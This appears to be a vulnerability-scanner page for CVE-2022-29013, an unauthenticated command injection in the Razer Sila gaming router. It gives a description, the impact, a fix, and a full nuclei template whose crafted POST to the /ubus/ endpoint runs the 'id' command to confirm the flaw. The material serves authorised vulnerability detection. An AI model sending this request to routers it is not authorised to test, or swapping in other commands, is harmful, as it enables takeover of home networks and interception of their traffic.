Razer Sila Gaming Router - Remote Code Execution

criticalseverity

9.8CVSS score

77.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A command injection in the command parameter of Razer Sila Gaming Router v2.0.441_api-2.0.418 allows attackers to execute arbitrary commands via a crafted POST request.

Impact

Unauthenticated attackers can execute arbitrary system commands on the Razer Sila gaming router through command injection in the ubus endpoint, potentially compromising the entire home network and intercepting all network traffic.

Fix

Upgrade to a patched version of Razer Sila firmware that properly sanitizes command parameters and validates input to the ubus API.

How to confirm it

Send: POST {{BaseURL}}/ubus/
Positive when: matches /uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)/ AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2022-29013 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-29013

info:
  name: Razer Sila Gaming Router - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    A command injection in the command parameter of Razer Sila Gaming Router v2.0.441_api-2.0.418 allows attackers to execute arbitrary commands via a crafted POST request.
  impact: |
    Unauthenticated attackers can execute arbitrary system commands on the Razer Sila gaming router through command injection in the ubus endpoint, potentially compromising the entire home network and intercepting all network traffic.
  remediation: |
    Upgrade to a patched version of Razer Sila firmware that properly sanitizes command parameters and validates input to the ubus API.
  reference:
    - https://packetstormsecurity.com/files/166684/Razer-Sila-2.0.418-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29013
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29013
    cwe-id: CWE-78
    epss-score: 0.7706
    epss-percentile: 0.99555
    cpe: cpe:2.3:h:razer:sila:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: razer
    product: sila
  tags: packetstorm,cve,cve2022,razer,sila,router,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/ubus/"
    headers:
      Origin: "{{RootURL}}"
      Referer: "{{RootURL}}"
      X-Requested-With: XMLHttpRequest
    body: |
      {"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"id"}]}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)'

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from